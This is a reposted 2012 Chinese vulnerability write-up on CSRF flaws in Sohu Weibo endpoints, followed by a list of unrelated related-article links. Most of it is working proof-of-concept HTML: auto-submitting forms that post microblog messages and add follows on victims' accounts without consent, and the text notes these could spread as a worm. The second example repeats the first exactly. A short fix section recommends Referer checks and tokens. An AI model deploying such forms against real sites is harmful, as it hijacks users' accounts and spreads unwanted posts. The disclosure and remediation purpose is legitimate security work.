搜狐微博的幾處CSRF漏洞分析與解決方法
發(fā)布時間：2012-06-27 14:27:51 作者：佚名 
我要評論
我要評論搜狐某處CSRF漏洞，可能導(dǎo)致蠕蟲蔓延，在未經(jīng)用戶同意的情況下發(fā)布微博
搜狐某處CSRF漏洞，可能導(dǎo)致蠕蟲蔓延，在未經(jīng)用戶同意的情況下發(fā)布微博
詳細(xì)說明：
在接受POST和GET的信息的時候，未對POST來路(Referer)進(jìn)行驗(yàn)證，同時也沒有在POST的信息中加token驗(yàn)證信息的正確性，導(dǎo)致漏洞產(chǎn)生。
漏洞地址：
復(fù)制代碼
代碼如下:http://t.sohu.com/t/twAction.jsp
<html> m.fzitv.net
<body>
<form id="imlonghao" name="imlonghao" action="http://t.sohu.com/t/twAction.jsp" method="post">
<input type="text" name="msg" value="XX" />
<input type="text" name="act" value="insertTwitter" />
<input type="text" name="groupid" value="0" />
<input type="submit" value="submit" />
</form>
<script>
document.imlonghao.submit();
</script>
</body>
</html>
接口返回信息
效果
第二個
復(fù)制代碼
代碼如下:http://t.sohu.com/t/twAction.jsp
<html>
<body>
<form id="imlonghao" name="imlonghao" action="http://t.sohu.com/t/twAction.jsp" method="post">
<input type="text" name="msg" value="XX" />
<input type="text" name="act" value="insertTwitter" />
<input type="text" name="groupid" value="0" />
<input type="submit" value="submit" />
</form>
<script>
document.imlonghao.submit();
</script>
</body>
</html>
返回信息
效果
第三個：
漏洞地址：
復(fù)制代碼
代碼如下:http://t.sohu.com/follow/addfollows
<html> m.fzitv.net
<body>
<form id="imlonghao" name="imlonghao" action="http://t.sohu.com/follow/addfollows" method="post">
<input type="text" name="act" value="follow" />
<input type="text" name="friendids" value="23117291" />
<input type="text" name="uid" value="23117291" />
<input type="submit" value="submit" />
</form>
<script>
document.imlonghao.submit();
</script>
</body>
</html>
接口返回信息
效果
修復(fù)方案：
檢查POST來路Referer
在POST的信息中加token
作者：imlonghao
相關(guān)文章
搜狐影音 在線視頻播放器 v7.2.6.0 官方正式免費(fèi)安裝版
搜狐影音是搜狐視頻強(qiáng)勢推出的一款全新體驗(yàn)的播放器,支持主流媒體格式的視頻、音頻文件，實(shí)現(xiàn)本地播放和在線點(diǎn)播2025-08-07取消搜狗彈出的“搜狐微門戶” 網(wǎng)頁窗口的實(shí)現(xiàn)方法(SohuNews.exe進(jìn)程)
很多朋友都安裝了搜狗輸入法，隨便輸入法用起來不錯，但經(jīng)常彈出廣告，尤其是非常時期，cpu占用率挺高的，有想要關(guān)閉這個網(wǎng)頁窗口的朋友可以參考下2013-01-25
視頻網(wǎng)站適合使用的jQuery縮略圖焦點(diǎn)圖切換，來源于搜狐視頻2010-12-31
來自搜狐數(shù)碼頻道的圖片滾動代碼，左右滾動可控制，只需鼠標(biāo)移到兩端的控制按鈕上，圖片就會自動響應(yīng)，改變滾動方向。代碼是直接從搜狐扒下來的，簡單的修正了一下，里面有2010-09-16- 搜狐Flash焦點(diǎn)圖輪番效果打包下載，很不錯的效果，邊框修飾成了圓角，控制按鈕比較多，設(shè)計(jì)的也比較美，不虧是大站的。注意，用到時候要把Flash的背景高為透明，這樣才能保2009-07-14
批量注冊好助手 V3.32 支持網(wǎng)易/126/TOM/迅雷/搜狐郵箱賬號 中文綠色免
網(wǎng)易/126/TOM/迅雷/搜狐郵箱賬號批量注冊好助手2012-07-11- 騰訊會議線上會議app是一款高效辦公的云視頻會議軟件，一般又稱為騰訊視頻會議、騰訊視頻會議室、voov meeting,軟件依托于豐富的互聯(lián)網(wǎng)社交技術(shù)，采用了全新的網(wǎng)絡(luò)部署發(fā)案2026-04-01
搜狐影音 4.3.0.16 簡體中文綠色免費(fèi)版 全新加速模式實(shí)現(xiàn)本地播放和在
搜狐影音是搜狐視頻強(qiáng)勢推出的一款全新體驗(yàn)的播放器。2014-06-26
搜狐應(yīng)用中心(10萬款安卓軟件) v1.6.8(安卓)
搜狐應(yīng)用中心是搜狐推出的移動應(yīng)用商店，涵蓋了數(shù)10萬款安卓軟件、游戲等豐富資源，界面簡潔、操作方便，速度飛快2013-03-21
搜狐視頻客戶端 for Mac V3.31.18312 蘋果電腦版
搜狐視頻mac版是一款專為OSX平臺量身打造的觀看流暢，運(yùn)行穩(wěn)定免費(fèi)的視頻播放器工具。搜狐影音Mac版，繼承了pc搜狐影音的簡潔清晰界面，包括搜狐視頻、優(yōu)酷、土豆、樂視等2021-05-18
